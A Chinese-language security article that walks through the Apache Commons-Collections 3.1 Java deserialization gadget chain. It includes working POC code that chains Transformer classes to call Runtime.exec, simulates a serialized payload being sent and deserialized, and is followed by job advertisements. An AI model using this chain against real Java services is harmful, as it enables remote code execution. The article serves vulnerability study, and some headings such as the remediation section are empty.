JAVA反序列化 - commons-collections - 1

声明

前言

commons-collections-3.1

POC->利用链

       public Object setValue(Object value) {
           value = this.parent.checkSetValue(value);//进入此处
           return super.entry.setValue(value);
       }

   protected Object checkSetValue(Object value) {        return this.valueTransformer.transform(value);//进入此处
   }

public Object transform(Object object) {        for(int i = 0; i < this.iTransformers.length; ++i) {            //循环进入此处，先进入1次ConstantTransformer.class，再3次InvokerTransformer.class
           object = this.iTransformers[i].transform(object);            //另外需要注意在数组的循环中，前一次transform函数的返回值，会作为下一次transform函数的object参数输入。
       }        return object;
   }

   public Object transform(Object input) {        return this.iConstant;
   }

public Object transform(Object input) {        if (input == null) {            return null;
       } else {            try {                //获取input对象的class
               Class cls = input.getClass();                //根据iMethodName、iParamTypes选择cls中的一个方法
               Method method = cls.getMethod(this.iMethodName, this.iParamTypes);                //根据iArgs参数调用这个方法
               return method.invoke(input, this.iArgs);
           } catch (NoSuchMethodException var5) {                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
           } catch (IllegalAccessException var6) {                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
           } catch (InvocationTargetException var7) {                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
           }
       }
   }
}

/**
* Transformer implementation that creates a new object instance by reflection.
*
通过反射机制创建一个新的对象实例的转换器实现

Map.Entry 类型setValue("foobar")
=> AbstracInputCheckedMapDecorator.setValue()
=> TransformedMap.checkSetValue()
=> ChainedTransformer.transform(Object object)
   根据数组，先进入 => ConstantTransformer.transform(Object input)
   再进入 => InvokerTransformer.transform(Object input)

重构POC

Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例,"calc.exe")

public Object transform(Object input) {
   Class cls = input.getClass();
   Method method = cls.getMethod(this.iMethodName, this.iParamTypes);    return method.invoke(input, this.iArgs);

Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));this.iMethodName="exec"this.iParamTypes=String.classthis.iArgs="calc.exe"

   public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {        this.iMethodName = methodName;        this.iParamTypes = paramTypes;        this.iArgs = args;
   }

public static void main(String[] args) throws Exception {    //通过构造函数，输入对应格式的参数，对iMethodName、iParamTypes、iArgs进行赋值
   InvokerTransformer a = new InvokerTransformer(            "exec",            new Class[]{String.class},            new String[]{"calc.exe"}
   );    //构造input
   Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));    //执行
   a.transform(input);
}

public static void main(String[] args) throws Exception {    //模拟攻击
   //1.客户端构造序列化payload，使用写入文件模拟发包攻击
   InvokerTransformer a = new InvokerTransformer(            "exec",            new Class[]{String.class},            new String[]{"calc.exe"});

   FileOutputStream f = new FileOutputStream("payload.bin");
   ObjectOutputStream fout = new ObjectOutputStream(f);
   fout.writeObject(a);    //2.服务端从文件中读取payload模拟接受包，然后触发漏洞
   //服务端反序列化payload读取
       FileInputStream fi = new FileInputStream("payload.bin");
       ObjectInputStream fin = new ObjectInputStream(fi);    //神奇第一处：服务端需要自主构造恶意input
       Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));    //神奇第二处：服务端需要将客户端输入反序列化成InvokerTransformer格式，并在服务端自主传入恶意参数input
       InvokerTransformer a_in = (InvokerTransformer) fin.readObject();
       a_in.transform(input);
}

   /**
   * Transformer implementation that chains the specified transformers together.
   * <p>
   * The input object is passed to the first transformer. The transformed result
   * is passed to the second transformer and so on.
   *
   将指定的转换器连接在一起的转化器实现。
   输入的对象将被传递到第一个转化器，转换结果将会输入到第二个转化器，并以此类推

   /**
       * Transforms the input to result via each decorated transformer
       *
       * @param object  the input object passed to the first transformer
       * @return the transformed result
       */
   public Object transform(Object object) {        for (int i = 0; i < iTransformers.length; i++) {
           object = iTransformers[i].transform(object);
       }        return object;
   }

   /**
    * Constructor that performs no validation.
    * Use <code>getInstance</code> if you want that.
    *
    * @param transformers  the transformers to chain, not copied, no nulls
    */
   public ChainedTransformer(Transformer[] transformers) {        super();//这个super不清楚做了啥，
       iTransformers = transformers;
   }

   //最终执行目标
   Class.forName("java.lang.Runtime")
   .getMethod("exec", String.class)
   .invoke(
   Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例
   ,    "calc.exe"
   )    //InvokeTransformer关键语句：
   public Object transform(Object input) {
       Class cls = input.getClass();
       Method method = cls.getMethod(this.iMethodName, this.iParamTypes);        return method.invoke(input, this.iArgs);
   }

   Object a = Runtime.getRuntime();
   Class b = Runtime.class;
   System.out.println(a.getClass());
   System.out.println(b.getClass());    //结果
   //class java.lang.Runtime
   //class java.lang.Class

//只调用InvokeTransformer的情况如下：
   InvokerTransformer a = new InvokerTransformer(                "exec",                new Class[]{String.class},                new String[]{"calc.exe"});

   Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));

   //客户端构造payload
   Transformer[] transformers = new Transformer[] {        new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"});
   }
   Transformer transformerChain = new ChainedTransformer(transformers);    //服务端触发所需内容
   Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
   transformerChain.transform(input);//此处必须为input，作为第一个输入

   Transformer[] transformers = new Transformer[] {        //以下两个语句等同,一个是通过反射机制得到，一个是直接调用得到Runtime实例
       // new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
       new ConstantTransformer(Runtime.getRuntime()),        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
   };
   Transformer transformerChain = new ChainedTransformer(transformers);
   transformerChain.transform(null);//此处输入可以为任意值，因为不会被使用到，相当于初始第一个输入为我们设置的常量

   //客户端构造payload
   Transformer[] transformers = new Transformer[] {        new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
   };
   Transformer transformerChain = new ChainedTransformer(transformers);    //payload序列化写入文件，模拟网络传输
   FileOutputStream f = new FileOutputStream("payload.bin");
   ObjectOutputStream fout = new ObjectOutputStream(f);
   fout.writeObject(transformerChain);    //服务端反序列化payload读取
   FileInputStream fi = new FileInputStream("payload.bin");
   ObjectInputStream fin = new ObjectInputStream(fi);    //服务端反序列化成ChainedTransformer格式，并在服务端自主传入恶意参数input
   Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
   transformerChain_now.transform(null);

public static Runtime getRuntime() {    return currentRuntime;
}

   Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),//得到Runtime class
           //由于InvokerTransformer的构造函数要求传入Class类型的参数类型，和Object类型的参数数值，所以封装一下，下面也一样
           //上面传入Runtime.class，调用Runtime class的getRuntime方法（由于是一个静态方法，invoke调用静态方法，传入类即可）
           new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),            //上面Runtime.getRuntime()得到了实例，作为这边的输入(invoke调用普通方法，需要传入类的实例)    
           new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
   };
   Transformer transformerChain = new ChainedTransformer(transformers);
   transformerChain.transform(null);

//InvokeTransformer关键语句：
   public Object transform(Object input) {//input为我们设置的常量Runtime.class
       Class cls = input.getClass();//！！！这里由于input是一个类，会得到java.lang.Class
       //在java.lang.Class类中去寻找getRuntime方法企图得到Runtime类对象，此处报错！！
       Method method = cls.getMethod(this.iMethodName, this.iParamTypes);        return method.invoke(input, this.iArgs);
   }

//目标语句Class.forName("java.lang.Runtime").getMethod("getRuntime")//使用java.lang.Class开头Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class })
       .invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);        //invoke函数的第一个参数是Runtime类，我们需要在Runtime类中去执行getMethod，获取getRuntime参数

Class cls = input.getClass();//cls = java.lang.ClassMethod method = cls.getMethod(this.iMethodName, this.iParamTypes); //getMethod方法return method.invoke(input, this.iArgs); //在Runtime中找getRuntime方法，并返回这个方法

Transformer[] transformers = new Transformer[] {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),       //还需要填充 调用getRuntime得到Runtime实例,
       new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

//input=getRuntime这个方法Class cls = input.getClass();//cls = java.lang.Method（getRuntime方法是method类）Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //在method类中找到invoke方法，method=invoke方法return method.invoke(input, this.iArgs); //调用invoke方法，input=getRuntime这个方法，传入自定义的参数

public Object invoke(Object obj, Object... args)//this.iMethodName="invoke"//this.iParamTypes=new Class[] {Object.class, Object[].class }//外面class、Object封装是InvokerTransformer类的构造函数要求

Transformer[] transformers = new Transformer[] {    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);
}

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
   Class[] var3 = var1.getInterfaces();    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
       this.type = var1;//传入的var1到this.type
       this.memberValues = var2;//我们的map传入this.memberValues
   } else {        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
   }
}

写在后面

修复意见

招聘启事

雷神众测SRC运营（实习生）
————————

工作地点：杭州（总部）、广州、成都、上海、北京

【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作，保持用户活跃度，提高站点访问量；
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作，促进审核人员与白帽子之间友好协作沟通；
3.  参与策划、组织和落实针对白帽子的线下活动，如沙龙、发布会、技术交流论坛等；
4.  积极参与雷神众测的品牌推广工作，协助技术人员输出优质的技术文章；
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强，性格活泼，具备良好的人际交往能力；
 2.  对网络安全感兴趣，对行业有基本了解；
 3.  良好的文案写作能力和活动组织协调能力。

雷神众测白帽运营（实习生）

————————

工作地点：杭州（总部）、广州、成都、上海、北京

【岗位职责】

1.准确了解白帽子爱好，发掘白帽子需求

2.负责各类周边、礼物的挑选与采购

3.对黑客文化有深刻认知

4.维护白帽关系

【任职要求】

1.具有良好的审美眼光

2.具备定制礼品礼物经验

3.较强的沟通以及协调能力

4.为人正直，具备良好的职业道德，能吃苦耐劳，具有良好的团队合作精神

【加分项】

1、具备美术功底、懂得设计美化等

2、有互联网运营经验

简历投递至 [email protected]

设计师

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作，负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上，熟悉印刷工艺；具有敏锐的观察力及审美能力，及优异的创意设计能力；有 VI 设计、广告设计、画册设计等专长；
2、有良好的美术功底，审美能力和创意，色彩感强；精通photoshop/illustrator/coreldrew/等设计制作软件；
3、有品牌传播、产品设计或新媒体视觉工作经历；

【关于岗位的其他信息】
企业名称：杭州安恒信息技术股份有限公司
办公地点：杭州市滨江区安恒大厦19楼
学历要求：本科及以上
工作年限：1年及以上，条件优秀者可放宽

简历投递至 [email protected]

安全招聘
————————

公司：安恒信息
岗位：Web安全 安全研究员
部门：安服战略支援部
薪资：13-30K
工作年限：1年+
工作地点：杭州（总部）、广州、成都、上海、北京

工作环境：一座大厦，健身场所，医师，帅哥，美女，高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀；
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验；
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例；
4.熟练掌握php、java、asp.net代码审计基础（一种或多种）
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验，熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种（Asp.net、Python、php、java）

【加分项】
1.具备良好的英语文档阅读能力；
2.曾参加过技术沙龙担任嘉宾进行技术分享；
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者；
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者；
5.开发过安全相关的开源项目；
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先；
7.个人技术博客；
8.在优质社区投稿过文章；

岗位：安全红队武器自动化工程师
薪资：13-30K
工作年限：2年+
工作地点：杭州（总部）

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究；
2.平台化建设；
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言；
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案；
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理；
4.对安全技术有浓厚的兴趣及热情，有主观研究和学习的动力；
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力，善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先；
2.在github上有开源安全产品优先；
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先；
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先；
5.具备良好的英语文档阅读能力。

简历投递至 [email protected]

安全服务工程师／渗透测试工程师

工作地点：新疆

1、掌握渗透测试原理和渗透测试流程，具备2年以上渗透测试工作经验，能够独立完成渗透测试方案和测试报告；
2、熟悉风险评估、安全评估；
3、熟练掌握各类渗透工具，如Sqlmap、Burpsuite、AWVS、Appscan、Nmap、Metasploit、Kali等；
4、熟练掌握Web渗透手法，如SQL注入、XSS、文件上传等攻击技术；
5、至少熟悉一种编程语言（php/java/python）,能够独立编写poc者优先；
6、具有良好的沟通能力和文档编写能力，动手能力强；
7、对工作有热情，耐心、责任心强，具备沟通能力和良好的团队意识；
8、加分项：有安全开发经验／可进行代码审计工作；
9、加分项：有安全和网络相关证书，如CISSP、CISA、CISP 、CCNP、CCIE等认证者；
岗位职责：
1、参与安全服务项目实施，其中包括渗透测试与安全评估，代码审计，安全培训，应急响应；
2、独立完成安全服务项目报告编写，输出安全服务实施报告；

简历投递至 [email protected]